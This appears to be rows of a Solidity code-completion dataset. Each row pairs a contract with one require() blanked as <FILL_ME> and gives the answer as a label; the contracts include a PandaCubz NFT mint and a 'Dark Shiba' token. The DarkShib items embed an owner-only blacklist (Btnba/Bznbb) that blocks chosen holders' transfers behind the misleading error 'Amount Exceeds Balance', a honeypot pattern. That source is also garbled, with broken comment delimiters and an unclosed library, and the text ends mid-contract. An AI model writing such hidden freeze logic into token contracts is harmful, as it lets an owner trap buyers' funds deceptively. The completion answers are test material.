comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Insufficient supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
abstract contract MintPass {
function balanceOf(address owner, uint256 id)
public
view
virtual
returns (uint256 balance);
function burnForAddress(
uint256 _id,
uint256 _quantity,
address _address
) public virtual;
}
contract PandaCubz is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard {
using Strings for uint256;
struct Token {
uint16 maxSupply;
uint16 maxPerWallet;
uint16 maxPerTransaction;
uint72 preSalePrice;
uint72 pubSalePrice;
bool preSaleIsActive;
bool saleIsActive;
bool claimIsActive;
bool supplyLock;
uint8 salePhase;
}
mapping(address => bool) public fiatAllowlist;
mapping(address => uint16) public hasMinted;
mapping(address => uint16) public hasClaimed;
bytes32 public saleMerkleRoot;
bytes32 public claimMerkleRoot;
Token public token;
string private baseURI;
uint16 public mintpassId;
address public mintpassAddress;
MintPass mintpass;
modifier onlyFiatMinter() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
address[] memory _payees,
uint256[] memory _shares,
address _owner,
Token memory _token
) ERC721A(_name, _symbol)
PaymentSplitter(_payees, _shares) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function getClaimIneligibilityReason(address _address, uint256 _quantity) public view returns (string memory) {
}
function unclaimedSupply() public view returns (uint256) {
}
function price() public view returns (uint256) {
}
function addFiatMinter(address _address) public onlyOwner {
}
function removeFiatMinter(address _address) public onlyOwner {
}
function setMintPass(uint16 _id, address _address) external onlyOwner {
}
function setSaleRoot(bytes32 _root) public onlyOwner {
}
function setClaimRoot(bytes32 _root) public onlyOwner {
}
function lockSupply() public onlyOwner {
}
function updateConfig(
uint16 _maxSupply,
uint16 _maxPerWallet,
uint16 _maxPerTransaction,
uint72 _preSalePrice,
uint72 _pubSalePrice
) public onlyOwner {
}
function setBaseTokenURI(string memory _uri) public onlyOwner {
}
function updateSaleState(
bool _preSaleIsActive,
bool _saleIsActive,
bool _claimIsActive,
uint8 _salePhase
) public onlyOwner {
}
function mint(uint16 _quantity, bytes32[] memory _proof) public payable nonReentrant {
}
function claimTo(address _address, uint256 _quantity) public payable nonReentrant onlyFiatMinter {
require(token.saleIsActive, "Sale is not active.");
require(<FILL_ME>)
require(price() * _quantity <= msg.value, "ETH incorrect");
_safeMint(_address, _quantity);
}
function claimFree(uint16 _maxMint, uint16 _quantity, bytes32[] memory _proof) public {
}
function reserve(address _address, uint16 _quantity) public nonReentrant onlyOwner {
}
}
| totalSupply()+_quantity<=uint256(token.maxSupply),"Insufficient supply" | 107,493 | totalSupply()+_quantity<=uint256(token.maxSupply) |
"Claim inactive" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
abstract contract MintPass {
function balanceOf(address owner, uint256 id)
public
view
virtual
returns (uint256 balance);
function burnForAddress(
uint256 _id,
uint256 _quantity,
address _address
) public virtual;
}
contract PandaCubz is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard {
using Strings for uint256;
struct Token {
uint16 maxSupply;
uint16 maxPerWallet;
uint16 maxPerTransaction;
uint72 preSalePrice;
uint72 pubSalePrice;
bool preSaleIsActive;
bool saleIsActive;
bool claimIsActive;
bool supplyLock;
uint8 salePhase;
}
mapping(address => bool) public fiatAllowlist;
mapping(address => uint16) public hasMinted;
mapping(address => uint16) public hasClaimed;
bytes32 public saleMerkleRoot;
bytes32 public claimMerkleRoot;
Token public token;
string private baseURI;
uint16 public mintpassId;
address public mintpassAddress;
MintPass mintpass;
modifier onlyFiatMinter() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
address[] memory _payees,
uint256[] memory _shares,
address _owner,
Token memory _token
) ERC721A(_name, _symbol)
PaymentSplitter(_payees, _shares) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function getClaimIneligibilityReason(address _address, uint256 _quantity) public view returns (string memory) {
}
function unclaimedSupply() public view returns (uint256) {
}
function price() public view returns (uint256) {
}
function addFiatMinter(address _address) public onlyOwner {
}
function removeFiatMinter(address _address) public onlyOwner {
}
function setMintPass(uint16 _id, address _address) external onlyOwner {
}
function setSaleRoot(bytes32 _root) public onlyOwner {
}
function setClaimRoot(bytes32 _root) public onlyOwner {
}
function lockSupply() public onlyOwner {
}
function updateConfig(
uint16 _maxSupply,
uint16 _maxPerWallet,
uint16 _maxPerTransaction,
uint72 _preSalePrice,
uint72 _pubSalePrice
) public onlyOwner {
}
function setBaseTokenURI(string memory _uri) public onlyOwner {
}
function updateSaleState(
bool _preSaleIsActive,
bool _saleIsActive,
bool _claimIsActive,
uint8 _salePhase
) public onlyOwner {
}
function mint(uint16 _quantity, bytes32[] memory _proof) public payable nonReentrant {
}
function claimTo(address _address, uint256 _quantity) public payable nonReentrant onlyFiatMinter {
}
function claimFree(uint16 _maxMint, uint16 _quantity, bytes32[] memory _proof) public {
require(<FILL_ME>)
uint16 _hasClaimed = hasClaimed[msg.sender];
uint16 _currentSupply = uint16(totalSupply());
require(_currentSupply + _quantity <= token.maxSupply, "Insufficient supply");
bytes32 leaf = keccak256(abi.encode(msg.sender, _maxMint));
require(MerkleProof.verify(_proof, claimMerkleRoot, leaf), "Not whitelisted");
uint16 _claimable = _maxMint - _hasClaimed;
require(_quantity <= _claimable, "Invalid quantity");
hasClaimed[msg.sender] = _hasClaimed + _quantity;
_safeMint(msg.sender, _quantity);
}
function reserve(address _address, uint16 _quantity) public nonReentrant onlyOwner {
}
}
| token.claimIsActive,"Claim inactive" | 107,493 | token.claimIsActive |
"Insufficient supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
abstract contract MintPass {
function balanceOf(address owner, uint256 id)
public
view
virtual
returns (uint256 balance);
function burnForAddress(
uint256 _id,
uint256 _quantity,
address _address
) public virtual;
}
contract PandaCubz is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard {
using Strings for uint256;
struct Token {
uint16 maxSupply;
uint16 maxPerWallet;
uint16 maxPerTransaction;
uint72 preSalePrice;
uint72 pubSalePrice;
bool preSaleIsActive;
bool saleIsActive;
bool claimIsActive;
bool supplyLock;
uint8 salePhase;
}
mapping(address => bool) public fiatAllowlist;
mapping(address => uint16) public hasMinted;
mapping(address => uint16) public hasClaimed;
bytes32 public saleMerkleRoot;
bytes32 public claimMerkleRoot;
Token public token;
string private baseURI;
uint16 public mintpassId;
address public mintpassAddress;
MintPass mintpass;
modifier onlyFiatMinter() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
address[] memory _payees,
uint256[] memory _shares,
address _owner,
Token memory _token
) ERC721A(_name, _symbol)
PaymentSplitter(_payees, _shares) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function getClaimIneligibilityReason(address _address, uint256 _quantity) public view returns (string memory) {
}
function unclaimedSupply() public view returns (uint256) {
}
function price() public view returns (uint256) {
}
function addFiatMinter(address _address) public onlyOwner {
}
function removeFiatMinter(address _address) public onlyOwner {
}
function setMintPass(uint16 _id, address _address) external onlyOwner {
}
function setSaleRoot(bytes32 _root) public onlyOwner {
}
function setClaimRoot(bytes32 _root) public onlyOwner {
}
function lockSupply() public onlyOwner {
}
function updateConfig(
uint16 _maxSupply,
uint16 _maxPerWallet,
uint16 _maxPerTransaction,
uint72 _preSalePrice,
uint72 _pubSalePrice
) public onlyOwner {
}
function setBaseTokenURI(string memory _uri) public onlyOwner {
}
function updateSaleState(
bool _preSaleIsActive,
bool _saleIsActive,
bool _claimIsActive,
uint8 _salePhase
) public onlyOwner {
}
function mint(uint16 _quantity, bytes32[] memory _proof) public payable nonReentrant {
}
function claimTo(address _address, uint256 _quantity) public payable nonReentrant onlyFiatMinter {
}
function claimFree(uint16 _maxMint, uint16 _quantity, bytes32[] memory _proof) public {
require(token.claimIsActive, "Claim inactive");
uint16 _hasClaimed = hasClaimed[msg.sender];
uint16 _currentSupply = uint16(totalSupply());
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encode(msg.sender, _maxMint));
require(MerkleProof.verify(_proof, claimMerkleRoot, leaf), "Not whitelisted");
uint16 _claimable = _maxMint - _hasClaimed;
require(_quantity <= _claimable, "Invalid quantity");
hasClaimed[msg.sender] = _hasClaimed + _quantity;
_safeMint(msg.sender, _quantity);
}
function reserve(address _address, uint16 _quantity) public nonReentrant onlyOwner {
}
}
| _currentSupply+_quantity<=token.maxSupply,"Insufficient supply" | 107,493 | _currentSupply+_quantity<=token.maxSupply |
"Insufficient supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
abstract contract MintPass {
function balanceOf(address owner, uint256 id)
public
view
virtual
returns (uint256 balance);
function burnForAddress(
uint256 _id,
uint256 _quantity,
address _address
) public virtual;
}
contract PandaCubz is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard {
using Strings for uint256;
struct Token {
uint16 maxSupply;
uint16 maxPerWallet;
uint16 maxPerTransaction;
uint72 preSalePrice;
uint72 pubSalePrice;
bool preSaleIsActive;
bool saleIsActive;
bool claimIsActive;
bool supplyLock;
uint8 salePhase;
}
mapping(address => bool) public fiatAllowlist;
mapping(address => uint16) public hasMinted;
mapping(address => uint16) public hasClaimed;
bytes32 public saleMerkleRoot;
bytes32 public claimMerkleRoot;
Token public token;
string private baseURI;
uint16 public mintpassId;
address public mintpassAddress;
MintPass mintpass;
modifier onlyFiatMinter() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
address[] memory _payees,
uint256[] memory _shares,
address _owner,
Token memory _token
) ERC721A(_name, _symbol)
PaymentSplitter(_payees, _shares) {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function getClaimIneligibilityReason(address _address, uint256 _quantity) public view returns (string memory) {
}
function unclaimedSupply() public view returns (uint256) {
}
function price() public view returns (uint256) {
}
function addFiatMinter(address _address) public onlyOwner {
}
function removeFiatMinter(address _address) public onlyOwner {
}
function setMintPass(uint16 _id, address _address) external onlyOwner {
}
function setSaleRoot(bytes32 _root) public onlyOwner {
}
function setClaimRoot(bytes32 _root) public onlyOwner {
}
function lockSupply() public onlyOwner {
}
function updateConfig(
uint16 _maxSupply,
uint16 _maxPerWallet,
uint16 _maxPerTransaction,
uint72 _preSalePrice,
uint72 _pubSalePrice
) public onlyOwner {
}
function setBaseTokenURI(string memory _uri) public onlyOwner {
}
function updateSaleState(
bool _preSaleIsActive,
bool _saleIsActive,
bool _claimIsActive,
uint8 _salePhase
) public onlyOwner {
}
function mint(uint16 _quantity, bytes32[] memory _proof) public payable nonReentrant {
}
function claimTo(address _address, uint256 _quantity) public payable nonReentrant onlyFiatMinter {
}
function claimFree(uint16 _maxMint, uint16 _quantity, bytes32[] memory _proof) public {
}
function reserve(address _address, uint16 _quantity) public nonReentrant onlyOwner {
require(<FILL_ME>)
_safeMint(_address, _quantity);
}
}
| totalSupply()+_quantity<=token.maxSupply,"Insufficient supply" | 107,493 | totalSupply()+_quantity<=token.maxSupply |
"x" | pragma solidity 0.8.7;
/*
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
1% Tax
1B Supply
Note: Dark Pulse Bridge Q4 2022
//
//
//
/* /
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
* /
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
* /
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
* /
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
* /
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
* /
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
* /
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
contract DarkShib {
mapping (address => uint256) public balanceOf;
mapping (address => bool) bVal;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function Btnba(address _user) public onlyOwner {
require(<FILL_ME>)
bVal[_user] = true;
}
function Bznbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !bVal[_user],"x" | 107,521 | !bVal[_user] |
"xx" | pragma solidity 0.8.7;
/*
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
1% Tax
1B Supply
Note: Dark Pulse Bridge Q4 2022
//
//
//
/* /
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
* /
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
* /
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
* /
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
* /
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
* /
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
* /
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
contract DarkShib {
mapping (address => uint256) public balanceOf;
mapping (address => bool) bVal;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function Btnba(address _user) public onlyOwner {
}
function Bznbb(address _user) public onlyOwner {
require(<FILL_ME>)
bVal[_user] = false;
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| bVal[_user],"xx" | 107,521 | bVal[_user] |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
1% Tax
1B Supply
Note: Dark Pulse Bridge Q4 2022
//
//
//
/* /
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
* /
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
* /
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
* /
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
* /
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
* /
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
* /
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
contract DarkShib {
mapping (address => uint256) public balanceOf;
mapping (address => bool) bVal;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function Btnba(address _user) public onlyOwner {
}
function Bznbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !bVal[msg.sender],"Amount Exceeds Balance" | 107,521 | !bVal[msg.sender] |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
1% Tax
1B Supply
Note: Dark Pulse Bridge Q4 2022
//
//
//
/* /
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
* /
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
* /
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
* /
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
* /
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
* /
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
* /
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
contract DarkShib {
mapping (address => uint256) public balanceOf;
mapping (address => bool) bVal;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function Btnba(address _user) public onlyOwner {
}
function Bznbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(<FILL_ME>)
require(!bVal[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !bVal[from],"Amount Exceeds Balance" | 107,521 | !bVal[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
1% Tax
1B Supply
Note: Dark Pulse Bridge Q4 2022
//
//
//
/* /
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
* /
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
* /
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
* /
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
* /
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
* /
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
* /
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
* /
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
contract DarkShib {
mapping (address => uint256) public balanceOf;
mapping (address => bool) bVal;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function Btnba(address _user) public onlyOwner {
}
function Bznbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(!bVal[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !bVal[to],"Amount Exceeds Balance" | 107,521 | !bVal[to] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheNashSunsNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.0049 ether;
uint256 public maxSupply = 250;
bool public paused = false;
uint256[250] public cost_per_mint;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
// internal
